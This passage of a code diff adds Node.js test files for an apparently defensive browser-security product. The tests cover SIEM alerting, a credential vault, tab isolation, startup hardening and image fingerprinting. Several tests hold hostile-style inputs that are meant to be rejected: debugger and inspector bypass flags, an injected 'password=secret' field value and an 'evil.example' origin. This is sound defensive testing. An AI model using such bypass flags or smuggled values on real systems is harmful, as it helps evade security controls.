||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-sigma-')),store=openStore(directory);let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});});
|
||||
const p=store.get('policy');p.security.sigma.rules=[{id:'agent-denial',title:'Agent denial',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p);
|
||||
store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked',policyVersion:1,prompt:'excluded raw content'});store.db.exec('COMMIT');
|
||||
const stored=store.db.prepare('SELECT * FROM events ORDER BY id').all().map(e=>({...e,metadata:JSON.parse(e.metadata)}));assert.equal(stored.length,2);assert.equal(stored[1].kind,'sigma.alert');assert.deepEqual(stored[1].metadata,{ruleId:'agent-denial',level:'high',sourceEventId:stored[0].id});assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1);
|
||||
assert.deepEqual(toECS(stored[0],'install').event.type,['denied']);const alert=toECS(stored[1],'install');assert.equal(alert.event.kind,'alert');assert.deepEqual(alert.event.category,['intrusion_detection']);assert.deepEqual(alert.event.type,['info']);assert.equal(alert.event.severity,7);assert.equal(alert.safetynet.source_event_id,`install:${stored[0].id}`);assert.match(toCEF(stored[1],'install'),/cs2Label=SourceEventId cs2=install:1/);
|
||||
exporter=startSIEM(store,directory,{});await exporter.flush();const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(JSON.parse);assert.equal(rows.length,2);assert.equal(rows[1].event.action,'sigma.alert');assert.equal(rows[1].safetynet.source_event_id,rows[0].event.id);assert.equal(JSON.stringify(rows).includes('excluded raw content'),false);
|
||||
store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked'});store.db.exec('ROLLBACK');assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,2);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1);
|
||||
});
|
||||
@@ -0,0 +1,23 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { createRequire } from 'node:module';
|
||||
const require=createRequire(import.meta.url),{assertSecureStartup,BLOCKED_SWITCHES}=require('../apps/browser/startup-security.cjs');
|
||||
const commandLine=names=>({hasSwitch:name=>new Set(names).has(name)});
|
||||
test('managed startup rejects sandbox, extension, process-isolation and debugger bypass switches',()=>{
|
||||
for(const name of BLOCKED_SWITCHES)assert.throws(()=>assertSecureStartup(commandLine([name]),[]),{message:'Unsafe browser startup configuration'},name);
|
||||
});
|
||||
test('managed startup permits normal Electron options and controlled local-agent actions',()=>{
|
||||
assert.equal(assertSecureStartup(commandLine(['agent-action','agent-connection','user-data-dir','force-device-scale-factor','disable-gpu','enable-logging','lang']),[]),true);
|
||||
assert.equal(assertSecureStartup(commandLine([]),['--trace-warnings','--max-old-space-size=4096']),true);
|
||||
});
|
||||
test('Node-consumed inspector flags are rejected without exposing host, port or other values',()=>{
|
||||
for(const flag of ['--inspect=private.internal:9229','--inspect-brk=9229','--inspect-wait=0','--inspect-port=company-secret:5555','--debug','--debug-brk']){try{assertSecureStartup(commandLine([]),[flag]);assert.fail('Unsafe inspector flag accepted');}catch(error){assert.equal(error.message,'Unsafe browser startup configuration');assert.equal(error.message.includes(flag),false);}}
|
||||
});
|
||||
test('broken command-line adapters fail closed with a static error',()=>{
|
||||
for(const adapter of [null,{}, {hasSwitch:()=>undefined},{hasSwitch:()=>{throw Error('private credential value');}}])assert.throws(()=>assertSecureStartup(adapter,[]),{message:'Unsafe browser startup configuration'});
|
||||
assert.throws(()=>assertSecureStartup(commandLine([]),null),{message:'Unsafe browser startup configuration'});
|
||||
assert.throws(()=>assertSecureStartup(commandLine([]),[{}]),{message:'Unsafe browser startup configuration'});
|
||||
});
|
||||
test('an already-active Node inspector is rejected even when no argv flag remains',()=>{
|
||||
const inspector=require('node:inspector'),original=inspector.url;try{inspector.url=()=> 'ws://private-main-debugger.internal:9229/secret';assert.throws(()=>assertSecureStartup(commandLine([]),[]),{message:'Unsafe browser startup configuration'});}finally{inspector.url=original;}
|
||||
});
|
||||
@@ -0,0 +1,15 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import registry from '../apps/browser/tab-registry.cjs';
|
||||
function fixture(options={}) {
|
||||
let id=0;const attached=[],detached=[],disposed=[];
|
||||
const tabs=registry.createTabRegistry({createView:()=>{const wc={id:++id,url:'https://example.test/',destroyed:false,stops:0,history:[],getURL(){return this.url;},isDestroyed(){return this.destroyed;},stop(){this.stops++;},close(){this.destroyed=true;}};return {webContents:wc,visible:false,setVisible(v){this.visible=v;}};},attach:v=>attached.push(v),detach:v=>detached.push(v),dispose:t=>disposed.push(t),...options});
|
||||
return {tabs,attached,detached,disposed};
|
||||
}
|
||||
test('native views retain separate DOM/history ownership when switching',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();a.view.webContents.history.push('private history A');b.view.webContents.history.push('history B');tabs.activate(b.id);tabs.activate(a.id);assert.notEqual(a.view.webContents,b.view.webContents);assert.deepEqual(a.view.webContents.history,['private history A']);assert.deepEqual(b.view.webContents.history,['history B']);assert.equal(tabs.fromContents(b.view.webContents.id),b);});
|
||||
test('foreground approval fails after switch-away-and-back even on identical URL',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id);assert.equal(tabs.current(token),true);tabs.activate(b.id);tabs.activate(a.id);assert.equal(tabs.current(token),false);});
|
||||
test('background network contexts survive switches but not navigation or policy change',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id,{foreground:false});tabs.activate(b.id);assert.equal(tabs.current(token),true);tabs.navigation(a.id);assert.equal(tabs.current(token),false);const renewed=tabs.context(a.id,{foreground:false});tabs.resume(2);assert.equal(tabs.current(renewed),false);assert.throws(()=>tabs.resume(1));});
|
||||
test('quarantine stops hidden and visible tabs, invalidates approvals and denies all old contexts',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const tokens=[tabs.context(a.id,{foreground:false}),tabs.context(b.id,{foreground:false})];a.security.visualApproval={approved:true};b.security.visualApproval={approved:true};tabs.quarantine();for(const tab of [a,b]){assert.equal(tab.view.webContents.stops,1);assert.equal(tab.view.visible,false);assert.equal(tab.security.visualApproval,null);}tabs.resume(1);assert.equal(tokens.every(t=>!tabs.current(t)),true);});
|
||||
test('close destroys native contents and cannot revive closed tab capabilities',()=>{const {tabs,disposed}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context();tabs.remove(a.id);assert.equal(a.view.webContents.destroyed,true);assert.equal(tabs.current(token),false);assert.equal(tabs.active(),b);assert.equal(tabs.fromContents(a.view.webContents.id),null);tabs.close();assert.equal(b.view.webContents.destroyed,true);assert.equal(disposed.length,2);assert.throws(()=>tabs.create());});
|
||||
test('URL mutation and renderer-chosen identifiers cannot reuse native approval',()=>{const {tabs}=fixture();const a=tabs.create();tabs.resume(1);const token=tabs.context();a.view.webContents.url='https://other.test/';assert.equal(tabs.current(token),false);assert.throws(()=>tabs.activate('renderer-forged-id'));assert.equal(Object.isFrozen(token),true);assert.notEqual(a.id,'managed');});
|
||||
test('capacity is bounded before another renderer process is created',()=>{const {tabs}=fixture({maxTabs:1});tabs.create();assert.throws(()=>tabs.create(),/capacity/);assert.equal(tabs.all().length,1);});
|
||||
@@ -0,0 +1,14 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { createServer } from 'node:http';
|
||||
import { startTelemetry,tracer,recordSecurityEvent } from '../apps/server/telemetry.mjs';
|
||||
test('OpenTelemetry exports traces, metrics and safe logs through OTLP HTTP',{timeout:20000},async t=>{
|
||||
const requests=[];
|
||||
const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({url:req.url,data:Buffer.concat(chunks)});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');
|
||||
await new Promise(r=>server.on('listening',r));process.env.OTEL_EXPORTER_OTLP_ENDPOINT=`http://127.0.0.1:${server.address().port}`;
|
||||
t.after(async()=>{delete process.env.OTEL_EXPORTER_OTLP_ENDPOINT;server.closeAllConnections();await new Promise(r=>server.close(r));});
|
||||
const sdk=startTelemetry();t.after(()=>sdk.shutdown());tracer.startActiveSpan('inspection.test',span=>{span.setAttribute('dlp.decision','block');span.end();});
|
||||
recordSecurityEvent('dlp.block',{ruleId:'test',policyVersion:1,prompt:'THIS_SECRET_MUST_NOT_APPEAR'},'event-1');await sdk.shutdown();
|
||||
for(const path of ['/v1/traces','/v1/metrics','/v1/logs'])assert.ok(requests.some(r=>r.url===path),`Missing ${path}`);
|
||||
assert.equal(requests.some(r=>r.data.includes(Buffer.from('THIS_SECRET_MUST_NOT_APPEAR'))),false);
|
||||
});
|
||||
@@ -0,0 +1,13 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import facts from '../packages/core/transfer-facts.cjs';
|
||||
import {toECS,toCEF} from '../packages/core/siem.mjs';
|
||||
test('security file facts carry exact bytes and detected type without arbitrary content',()=>{
|
||||
const file=facts.transferFacts({bytes:123,detectedType:'pe',sha256:'a'.repeat(64)});
|
||||
const e={id:1,time:new Date().toISOString(),kind:'download.block',metadata:{file}};
|
||||
assert.equal(toECS(e).file.size,123);assert.equal(toECS(e).file.type,'pe');assert.match(toCEF(e),/cs6=pe/);
|
||||
assert.throws(()=>facts.transferFacts({...file,password:'forbidden'}));
|
||||
assert.throws(()=>facts.transferFacts({...file,bytes:-1}));
|
||||
e.metadata.file={bytes:123,detectedType:'password=secret',sha256:'a'.repeat(64)};
|
||||
assert.equal(toECS(e).file,undefined);assert.equal(toCEF(e).includes('password=secret'),false);
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {UserProfileSchema,applyUserProfiles} from '../packages/core/user-profiles.mjs';
|
||||
import {defaultPolicy,destinationAllowed,verifyPolicy,signPolicy} from '../packages/core/policy.mjs';
|
||||
async function fixture(t,review=false){const dir=mkdtempSync(join(tmpdir(),'safetynet-profiles-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});for(const [id,subject]of [['one','employee'],['two','employee'],['other','other'],['forged',null]])store.db.prepare('INSERT INTO devices(id,name,user,token_hash,verified_subject) VALUES(?,?,?,?,?)').run(id,id,'employee',digest(id+'-synthetic-device-credential-123456789'),subject);async function api(path,method='GET',body,sub='author',role='admin'){const token=sub+'-synthetic-profile-session-123456789';store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}return {store,api,base:`http://127.0.0.1:${server.address().port}`};}
|
||||
test('arbitrary user profiles follow verified subject across devices and never client user labels',async t=>{const f=await fixture(t),profile=UserProfileSchema.parse({id:'lab-reviewers',name:'Research reviewers',subjects:['employee'],blockedHosts:['blocked.example'],features:{downloads:'deny'}});assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','PUT',{expectedVersion:1,profile})).status,200);for(const id of ['one','two']){const p=verifyPolicy(signPolicy(f.store.effectivePolicy(id),f.store.get('keys').privateKey),f.store.publicKey());assert.equal(p.browser.allowDownloads,false);assert.equal(destinationAllowed('https://blocked.example/',p),false);assert.deepEqual(p.assignment.profiles,['lab-reviewers']);}for(const id of ['other','forged'])assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy(id)),true);assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','DELETE',{expectedVersion:2})).status,200);assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy('one')),true);});
|
||||
test('delegation requires explicit signed ceiling and denies win across conflicting profiles',()=>{const p=defaultPolicy(),allow=UserProfileSchema.parse({id:'developer',name:'Developer',deviceIds:['one'],features:{devTools:'allow'}}),deny=UserProfileSchema.parse({id:'restricted',name:'Restricted',deviceIds:['one'],features:{devTools:'deny'}});assert.equal(applyUserProfiles(p,{profiles:[allow]}, {id:'one'}).browser.allowDevTools,false);p.userAccess.delegatableFeatures.devTools=true;assert.equal(applyUserProfiles(p,{profiles:[allow]},{id:'one'}).browser.allowDevTools,true);assert.equal(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}).browser.allowDevTools,false);assert.deepEqual(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}),applyUserProfiles(p,{profiles:[deny,allow]},{id:'one'}));});
|
||||
test('domain categories and intersected host allowances fail closed for disjoint profiles',()=>{const p=defaultPolicy(),a=UserProfileSchema.parse({id:'a',name:'A',deviceIds:['one'],allowedHosts:['*.company.example'],blockedCategoryIds:['social']}),b=UserProfileSchema.parse({id:'b',name:'B',deviceIds:['one'],allowedHosts:['wiki.company.example']});const c={profiles:[a,b],categories:[{id:'social',name:'Social',hosts:['social.company.example']}]},r=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://wiki.company.example',r),true);assert.equal(destinationAllowed('https://social.company.example',r),false);b.allowedHosts=['other.example'];const disjoint=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://other.example',disjoint),false);assert.equal(destinationAllowed('https://denied.invalid',disjoint),false);});
|
||||
test('profile publication enforces independent reviewers, role permissions, CAS, snapshots and restore',async t=>{const f=await fixture(t,true),profile=UserProfileSchema.parse({id:'executive',name:'Board',deviceIds:['one'],requireDocumentScan:true});const queued=await f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.getRaw('userProfiles'),null);const body={payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true};assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'operator')).status,403);assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'reviewer')).status,200);assert.equal((await f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile})).status,409);assert.equal((await f.api('/api/admin/user-profiles/executive','DELETE',{expectedVersion:2},'auditor','auditor')).status,403);assert.equal((await f.api('/api/admin/policy/history/2')).body.userProfiles.profiles[0].id,'executive');const restore=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(restore.status,202);assert.equal((await f.api(`/api/admin/policy-reviews/${restore.body.reviewId}/approve`,'POST',{payloadHash:restore.body.payloadHash,expectedVersion:2,approve:true},'reviewer')).status,200);assert.deepEqual(f.store.getRaw('userProfiles').profiles,[]);});
|
||||
|
||||
test('enrollment cannot forge a verified SSO subject through client input or a named provisioning code',async t=>{const f=await fixture(t);const code='synthetic-provisioning-code-123456789';f.store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'employee');const r=await fetch(f.base+'/api/device/enroll',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({code,name:'Forged label',platform:'win32',sub:'employee',verified_subject:'employee',user:'employee'})});assert.equal(r.status,200);const b=await r.json(),d=f.store.db.prepare('SELECT verified_subject,user FROM devices WHERE id=?').get(b.id);assert.equal(d.verified_subject,null);assert.equal(d.user,'employee');});
|
||||
@@ -0,0 +1,103 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import fs from 'node:fs';
|
||||
import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import crypto from 'node:crypto';
|
||||
import { createRequire } from 'node:module';
|
||||
const { createVault, generatePassword } = createRequire(import.meta.url)('../apps/browser/vault.cjs');
|
||||
const master = 'A long separate master password 2026!';
|
||||
function fixture(t) {
|
||||
const directory = fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-vault-test-'));
|
||||
t.after(() => fs.rmSync(directory, { recursive: true, force: true }));
|
||||
const platformKey = crypto.randomBytes(32);
|
||||
const options = { filePath: path.join(directory, 'vault.json'), protect(data) {
|
||||
const nonce = crypto.randomBytes(12), cipher = crypto.createCipheriv('aes-256-gcm', platformKey, nonce);
|
||||
const body = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
return Buffer.concat([nonce, cipher.getAuthTag(), body]);
|
||||
}, unprotect(data) {
|
||||
const decipher = crypto.createDecipheriv('aes-256-gcm', platformKey, data.subarray(0, 12));
|
||||
decipher.setAuthTag(data.subarray(12, 28)); return Buffer.concat([decipher.update(data.subarray(28)), decipher.final()]);
|
||||
} };
|
||||
return { options, engine: createVault(options) };
|
||||
}
|
||||
test('vault encrypts full metadata and roundtrips through actual ML-KEM', t => {
|
||||
const { engine, options } = fixture(t);
|
||||
t.after(engine.lock);
|
||||
engine.create(master);
|
||||
const { id } = engine.upsert({ origin: 'https://company.example', username: 'private-user-name', password: 'top-secret-credential', label: 'Confidential label' });
|
||||
const stored = fs.readFileSync(options.filePath, 'utf8');
|
||||
for (const secret of ['company.example', 'private-user-name', 'top-secret-credential', 'Confidential label', master]) assert.equal(stored.includes(secret), false);
|
||||
assert.equal(Buffer.from(JSON.parse(stored).kemCiphertext, 'base64').length, 1568);
|
||||
assert.equal('password' in engine.list()[0], false);
|
||||
engine.lock(); assert.throws(() => engine.list()); assert.throws(() => engine.credential(id, 'https://company.example'));
|
||||
engine.unlock(master); assert.deepEqual(engine.credential(id, 'https://company.example'), { username: 'private-user-name', password: 'top-secret-credential' });
|
||||
assert.throws(() => engine.credential(id, 'https://company.example:444'));
|
||||
assert.throws(() => engine.credential(id, 'https://evil.example'));
|
||||
assert.throws(() => engine.credential(id, 'http://company.example'));
|
||||
assert.throws(() => engine.credential(id, 'https://company.example/path'));
|
||||
engine.delete(id); engine.lock(); engine.unlock(master); assert.deepEqual(engine.list(), []);
|
||||
});
|
||||
test('wrong master password and wrong platform factor fail closed', t => {
|
||||
const { engine, options } = fixture(t); t.after(engine.lock);
|
||||
engine.create(master); engine.lock();
|
||||
assert.throws(() => engine.unlock('Wrong long master password!!!'), /Vault operation refused/);
|
||||
assert.equal(engine.status().locked, true);
|
||||
const other = createVault({ ...options, unprotect: () => { throw new Error('DPAPI failed'); } });
|
||||
assert.throws(() => other.unlock(master), /Vault operation refused/); assert.equal(other.status().locked, true);
|
||||
engine.unlock(master); assert.equal(engine.status().locked, false);
|
||||
});
|
||||
test('ciphertext, header and key envelope tampering is refused', t => {
|
||||
const { engine, options } = fixture(t); t.after(engine.lock);
|
||||
engine.create(master); engine.lock(); const pristine = fs.readFileSync(options.filePath, 'utf8');
|
||||
for (const mutate of [record => { record.payload.ciphertext = record.payload.ciphertext.replace(/^./, char => char === 'A' ? 'B' : 'A'); },
|
||||
record => { record.vaultId = crypto.randomUUID(); }, record => { record.salt = crypto.randomBytes(32).toString('base64'); },
|
||||
record => { record.wrappedKey.tag = crypto.randomBytes(16).toString('base64'); }, record => { record.kemCiphertext = crypto.randomBytes(1568).toString('base64'); }]) {
|
||||
const record = JSON.parse(pristine); mutate(record); fs.writeFileSync(options.filePath, JSON.stringify(record));
|
||||
assert.throws(() => engine.unlock(master), /Vault operation refused/); assert.equal(engine.status().locked, true);
|
||||
}
|
||||
});
|
||||
test('malformed oversized file and untrusted KDF parameters never weaken security', t => {
|
||||
const { engine, options } = fixture(t); t.after(engine.lock);
|
||||
engine.create(master); engine.lock();
|
||||
const record = JSON.parse(fs.readFileSync(options.filePath, 'utf8')); record.scrypt = { N: 2, r: 1, p: 1 };
|
||||
fs.writeFileSync(options.filePath, JSON.stringify(record)); engine.unlock(master); engine.lock();
|
||||
fs.writeFileSync(options.filePath, Buffer.alloc(8 * 1024 * 1024 + 1)); assert.throws(() => engine.unlock(master));
|
||||
fs.writeFileSync(options.filePath, '{bad json'); assert.throws(() => engine.unlock(master));
|
||||
});
|
||||
test('master requirements, idle bounds and credential validation', t => {
|
||||
const { engine, options } = fixture(t); t.after(engine.lock);
|
||||
assert.throws(() => engine.create('short')); assert.equal(engine.status().exists, false);
|
||||
assert.throws(() => createVault({ ...options, idleSeconds: 59 })); assert.throws(() => createVault({ ...options, idleSeconds: 901 }));
|
||||
engine.create(master); assert.throws(() => engine.create(master)); assert.equal(engine.status().locked, true); engine.unlock(master);
|
||||
assert.throws(() => engine.upsert({ origin: 'https://user:[email protected]', username: 'user', password: 'secret' }));
|
||||
assert.throws(() => engine.upsert({ origin: 'http://company.example', username: 'user', password: 'secret' }));
|
||||
assert.throws(() => engine.upsert({ origin: 'https://company.example', username: 'user', password: '' }));
|
||||
assert.deepEqual(engine.list(), []);
|
||||
assert.equal(generatePassword().length, 32); assert.throws(() => generatePassword(23)); assert.notEqual(generatePassword(), generatePassword());
|
||||
});
|
||||
test('idle expiry locks credentials and atomic write failure preserves the last committed vault', t => {
|
||||
t.mock.timers.enable({ apis: ['setTimeout'] });
|
||||
const { engine, options } = fixture(t); t.after(engine.lock);
|
||||
engine.create(master); const { id } = engine.upsert({ origin: 'https://company.example', username: 'user', password: 'original' });
|
||||
const original = fs.readFileSync(options.filePath);
|
||||
const rename = t.mock.method(fs, 'renameSync', () => { throw new Error('Disk write failed'); });
|
||||
assert.throws(() => engine.upsert({ id, origin: 'https://company.example', username: 'user', password: 'uncommitted' }));
|
||||
assert.equal(engine.credential(id, 'https://company.example').password, 'original');
|
||||
assert.deepEqual(fs.readFileSync(options.filePath), original);
|
||||
assert.equal(fs.readdirSync(path.dirname(options.filePath)).some(name => name.endsWith('.tmp')), false);
|
||||
rename.mock.restore();
|
||||
t.mock.timers.tick(300_001); assert.equal(engine.status().locked, true);
|
||||
assert.throws(() => engine.credential(id, 'https://company.example'));
|
||||
engine.unlock(master); assert.equal(engine.credential(id, 'https://company.example').password, 'original');
|
||||
});
|
||||
test('background metadata polling cannot postpone the idle lock deadline', t => {
|
||||
t.mock.timers.enable({ apis: ['setTimeout'] });
|
||||
const { engine } = fixture(t); t.after(engine.lock);
|
||||
engine.create(master);
|
||||
for (let elapsed = 0; elapsed < 300_000; elapsed += 5000) {
|
||||
assert.deepEqual(engine.list(), []); t.mock.timers.tick(5000);
|
||||
}
|
||||
assert.equal(engine.status().locked, true);
|
||||
assert.throws(() => engine.list());
|
||||
});
|
||||
@@ -0,0 +1,13 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
const require=createRequire(import.meta.url),{capturePNG}=require('../apps/browser/visual-capture.cjs');
|
||||
test('stale native captures are never accepted as visual evidence',async()=>{let nativeCalled=false;const bytes=Buffer.from('current-frame'),api={isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:bytes.toString('base64')}),detach:()=>{}};assert.deepEqual(await capturePNG({capturePage:async()=>{nativeCalled=true;return {isEmpty:()=>false,toPNG:()=>Buffer.from('stale-frame')};},debugger:api}),bytes);assert.equal(nativeCalled,false);});
|
||||
test('local capture issues only the screenshot command and detaches',async()=>{
|
||||
const calls=[],api={isAttached:()=>false,attach:version=>calls.push(['attach',version]),sendCommand:async(command,args)=>{calls.push([command,args]);return {data:Buffer.from('fixture').toString('base64')};},detach:()=>calls.push(['detach'])};
|
||||
assert.deepEqual(await capturePNG({capturePage:async()=>{throw Error('UnknownVizError');},debugger:api},{x:0,y:0,width:100,height:80}),Buffer.from('fixture'));assert.deepEqual(calls.map(call=>call[0]),['attach','Page.captureScreenshot','detach']);assert.equal(calls[1][1].captureBeyondViewport,false);
|
||||
});
|
||||
test('existing debugger, malformed output and unsupported regions fail closed',async()=>{
|
||||
const unavailable={capturePage:async()=>{throw Error();},debugger:{isAttached:()=>true}};await assert.rejects(capturePNG(unavailable));await assert.rejects(capturePNG(unavailable,{x:-1,y:0,width:100,height:80}));
|
||||
let detached=false;await assert.rejects(capturePNG({capturePage:async()=>{throw Error();},debugger:{isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:'invalid!'}),detach:()=>{detached=true;}}}));assert.equal(detached,true);
|
||||
});
|
||||
@@ -0,0 +1,56 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { createRequire } from 'node:module';
|
||||
const { visualFingerprint, hammingDistance } = createRequire(import.meta.url)('../packages/core/visual-hash.cjs');
|
||||
function image(width = 64, height = 64, layout = 0, brightness = 0) {
|
||||
const rgba = new Uint8Array(width * height * 4);
|
||||
for (let y = 0; y < height; y++) for (let x = 0; x < width; x++) {
|
||||
const nx = x / width, ny = y / height;
|
||||
let value = 220;
|
||||
if (!layout) {
|
||||
if (ny < 0.2) value = 45;
|
||||
if (nx > 0.2 && nx < 0.8 && ny > 0.35 && ny < 0.8) value = 140;
|
||||
if (nx > 0.3 && nx < 0.7 && ny > 0.5 && ny < 0.6) value = 65;
|
||||
} else {
|
||||
if (nx < 0.25) value = 65;
|
||||
if (nx > 0.4 && nx < 0.9 && ny > 0.2 && ny < 0.45) value = 120;
|
||||
if (nx > 0.6 && ny > 0.7) value = 45;
|
||||
}
|
||||
const index = (y * width + x) * 4;
|
||||
rgba[index] = rgba[index + 1] = rgba[index + 2] = value + brightness; rgba[index + 3] = 255;
|
||||
}
|
||||
return { rgba, width, height };
|
||||
}
|
||||
test('DCT fingerprints are deterministic, brightness stable and resize tolerant', () => {
|
||||
const original = visualFingerprint(image());
|
||||
assert.equal(original.algorithm, 'phash-dct32-v1'); assert.match(original.hash, /^[0-9a-f]{16}$/); assert.equal(original.usable, true);
|
||||
assert.deepEqual(visualFingerprint(image()), original);
|
||||
assert.equal(hammingDistance(original.hash, visualFingerprint(image(64, 64, 0, 12)).hash), 0);
|
||||
assert.ok(hammingDistance(original.hash, visualFingerprint(image(128, 128)).hash) <= 6);
|
||||
});
|
||||
test('blank low contrast and transparent images are unusable', () => {
|
||||
for (const value of [0, 127, 255]) {
|
||||
const rgba = new Uint8Array(64 * 64 * 4);
|
||||
for (let index = 0; index < rgba.length; index += 4) { rgba[index] = rgba[index + 1] = rgba[index + 2] = value; rgba[index + 3] = 255; }
|
||||
const result = visualFingerprint({ rgba, width: 64, height: 64 }); assert.equal(result.usable, false); assert.equal(result.quality.contrast, 0);
|
||||
}
|
||||
const transparent = image(); for (let index = 3; index < transparent.rgba.length; index += 4) transparent.rgba[index] = 0;
|
||||
assert.equal(visualFingerprint(transparent).usable, false);
|
||||
});
|
||||
test('different layouts exceed the conservative similarity threshold', () => {
|
||||
const distance = hammingDistance(visualFingerprint(image()).hash, visualFingerprint(image(64, 64, 1)).hash);
|
||||
assert.ok(distance > 10, `distance ${distance}`);
|
||||
});
|
||||
test('crop normalizes selected region and clamps safe partial intersections', () => {
|
||||
const input = image();
|
||||
assert.deepEqual(visualFingerprint({ ...input, region: { x: -10, y: -10, width: 74, height: 74 } }), visualFingerprint(input));
|
||||
const cropped = visualFingerprint({ ...input, region: { x: 15, y: 15, width: 40, height: 40 } });
|
||||
assert.notEqual(cropped.hash, visualFingerprint(input).hash);
|
||||
});
|
||||
test('malformed dimensions buffers crop and hash formats are rejected', () => {
|
||||
const input = image();
|
||||
for (const change of [{ width: -1 }, { width: 1.5 }, { width: 9000 }, { height: 9000 }, { rgba: [1, 2, 3] }, { rgba: new Uint8Array(4) }, { region: { x: 100, y: 100, width: 3, height: 3 } }, { region: { x: 0, y: 0, width: 0, height: 4 } }, { region: { x: Infinity, y: 0, width: 4, height: 4 } }]) assert.throws(() => visualFingerprint({ ...input, ...change }));
|
||||
assert.throws(() => visualFingerprint({ rgba: new Uint8Array(4), width: 8192, height: 8192 }));
|
||||
assert.throws(() => hammingDistance('A'.repeat(16), '0'.repeat(16))); assert.throws(() => hammingDistance('0', '0'.repeat(16)));
|
||||
assert.equal(hammingDistance('0'.repeat(16), 'f'.repeat(16)), 64);
|
||||
});
|
||||
@@ -0,0 +1,11 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createRequire} from 'node:module';
|
||||
const require=createRequire(import.meta.url),{PNG}=require('pngjs'),{decodePNG,fingerprintPNG}=require('../packages/core/visual-image.cjs');
|
||||
function image(){const png=new PNG({width:64,height:64});for(let y=0;y<64;y++)for(let x=0;x<64;x++){const i=(y*64+x)*4;png.data.set([x<32?30:240,y<20?10:180,x+y,255],i);}return PNG.sync.write(png);}
|
||||
test('bounded PNG returns deterministic derived features without source pixels',()=>{const source=image(),decoded=decodePNG(source),feature=fingerprintPNG(source);assert.equal(decoded.rgba.length,64*64*4);assert.equal(feature.usable,true);assert.match(feature.hash,/^[a-f0-9]{16}$/);assert.equal(feature.rgba,undefined);assert.deepEqual(feature,fingerprintPNG(source));});
|
||||
test('malformed, oversized, animated/interlaced and oversized output PNG are refused',()=>{
|
||||
assert.throws(()=>decodePNG(Buffer.alloc(11*1024*1024)));assert.throws(()=>decodePNG(image().subarray(0,40)));
|
||||
for(const mutate of [bytes=>bytes.writeUInt32BE(0xffffffff,16),bytes=>{bytes[28]=1;},bytes=>{bytes[24]=16;},bytes=>{bytes[bytes.length-5]^=1;}]){const bytes=image();mutate(bytes);assert.throws(()=>decodePNG(bytes));}
|
||||
